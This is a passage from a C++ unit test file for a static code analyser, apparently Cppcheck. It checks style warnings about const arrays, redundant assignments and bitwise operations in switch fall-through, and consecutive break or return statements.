ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Variable 'i' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" const char *tmp;\\n\"\n \" char* a[] = { \\\"a\\\", \\\"aa\\\" };\\n\"\n \" static char* b[] = { \\\"b\\\", \\\"bb\\\" };\\n\"\n \" tmp = a[i];\\n\"\n \" printf(\\\"%s\\\", tmp);\\n\"\n \" tmp = b[i];\\n\"\n \" printf(\\\"%s\\\", tmp);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Variable 'a' can be declared as const array [constVariable]\\n\"\n \"[test.cpp:4:18]: (style) Variable 'b' can be declared as const array [constVariable]\\n\",\n errout_str());\n\n check(\"int f(int i, int j) {\\n\" // #13069\n \" int a[3][4] = {\\n\"\n \" { 2, 2, -1, -1 },\\n\"\n \" { 2, -1, 2, -1 },\\n\"\n \" { 2, -1, -1, 2 },\\n\"\n \" };\\n\"\n \" return a[j][i];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Variable 'a' can be declared as const array [constVariable]\\n\",\n errout_str());\n\n check(\"void f(int n, int v[42]) {\\n\" // #12796\n \" int j = 0;\\n\"\n \" for (int i = 0; i < n; ++i) {\\n\"\n \" j += 1;\\n\"\n \" if (j == 1) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:19]: (style) Parameter 'v' can be declared as const array [constParameter]\\n\",\n errout_str());\n }\n\n void switchRedundantAssignmentTest() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y = 2;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:11] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" if (x)\\n\"\n \" {\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y = 2;\\n\"\n \" if (z)\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = a;\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" x = 2;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" continue;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" throw e;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:10:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void bar() {}\\n\" // bar isn't noreturn\n \"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:11] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:6] -> [test.cpp:8]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strncpy(str, \\\"a'\\\");\\n\"\n \" case 3:\\n\"\n \" strncpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6] -> [test.cpp:8]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" int z = 0;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" z++;\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" z++;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:7] -> [test.cpp:10]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" printf(str);\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5158 \"segmentation fault (valid code)\"\n check(\"typedef struct ct_data_s {\\n\"\n \" union {\\n\"\n \" char freq;\\n\"\n \" } fc;\\n\"\n \"} ct_data;\\n\"\n \"typedef struct internal_state {\\n\"\n \" struct ct_data_s dyn_ltree[10];\\n\"\n \"} deflate_state;\\n\"\n \"void f(deflate_state *s) {\\n\"\n \" s->dyn_ltree[0].fc.freq++;\\n\"\n \"}\\n\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #6132 \"crash: daca: kvirc CheckOther::checkRedundantAssignment()\"\n check(\"void HttpFileTransfer :: transferTerminated ( bool bSuccess ) {\\n\"\n \"if ( m_szCompletionCallback . isNull ( ) ) {\\n\"\n \"KVS_TRIGGER_EVENT ( KviEvent_OnHTTPGetTerminated , out ? out : ( g_pApp . activeConsole ( ) ) , & vParams )\\n\"\n \"} else {\\n\"\n \"KviKvsScript :: run ( m_szCompletionCallback , out ? out : ( g_pApp . activeConsole ( ) ) , & vParams ) ;\\n\"\n \"}\\n\"\n \"}\\n\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" switch (state) {\\n\"\n \" case 1: x = 3; goto a;\\n\"\n \" case 1: x = 6; goto a;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void switchRedundantOperationTest() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" ++y;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" (void)y;\\n\"\n \" case 3:\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" ++y;\\n\"\n \" case 3:\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" --y;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" (void)y;\\n\"\n \" case 3:\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" --y;\\n\"\n \" case 3:\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:10] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y--;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:10] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y--;\\n\"\n \" case 3:\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" if (x)\\n\"\n \" {\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y++;\\n\"\n \" if (y)\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = a;\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" x++;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" continue;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" throw e;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:10:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"bool f() {\\n\"\n \" bool ret = false;\\n\"\n \" switch (switchCond) {\\n\"\n \" case 1:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" case 31:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" case 54:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" };\\n\"\n \" ret = true;\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:8:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:11:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\",\n errout_str());\n }\n\n void switchRedundantBitwiseOperationTest() {\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = y | 3;\\n\"\n \" case 3:\\n\"\n \" y = y | 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" default:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" default:\\n\"\n \" if (z)\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= z;\\n\"\n \" z++;\\n\"\n \" default:\\n\"\n \" y |= z;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" bar(y);\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" y = 4;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:8:11]: (style) Variable 'y' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y &= 3;\\n\"\n \" case 3:\\n\"\n \" y &= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y ^= 3;\\n\"\n \" case 3:\\n\"\n \" y ^= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 2;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y &= 2;\\n\"\n \" case 3:\\n\"\n \" y &= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 2;\\n\"\n \" case 3:\\n\"\n \" y &= 2;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void unreachableCode() {\n check(\"void foo(int a) {\\n\"\n \" while(1) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" break;\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:5:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo(int a) {\\n\"\n \" return 0;\\n\"\n \" return(a-1);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo(int a) {\\n\"\n \" A:\"\n \" return(0);\\n\"\n \" goto A;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" true\\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n /*const*/ Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n check(\"void foo() {\\n\"\n \" exit(0);\\n\"\n \" break;\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"class NeonSession {\\n\"\n \" void exit();\\n\"\n \"};\\n\"\n \"void NeonSession::exit()\\n\"\n \"{\\n\"\n \" SAL_INFO(\\\"ucb.ucp.webdav\\\", \\\"neon commands cannot be aborted\\\");\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void NeonSession::exit()\\n\"\n \"{\\n\"\n \" SAL_INFO(\\\"ucb.ucp.webdav\\\", \\\"neon commands cannot be aborted\\\");\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() { xResAccess->exit(); }\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" switch(a) {\\n\"\n \" case 0:\\n\"\n \" printf(\\\"case 0\\\");\\n\"\n \" break;\\n\"\n \" break;\\n\"\n \" case 1:\\n\"\n \" c++;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:7:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" switch(a) {\\n\"\n \" case 0:\\n\"\n \" printf(\\\"case 0\\\");\\n\"\n \" break;\\n\"\n \" case 1:\\n\"\n \" c++;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" break;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n 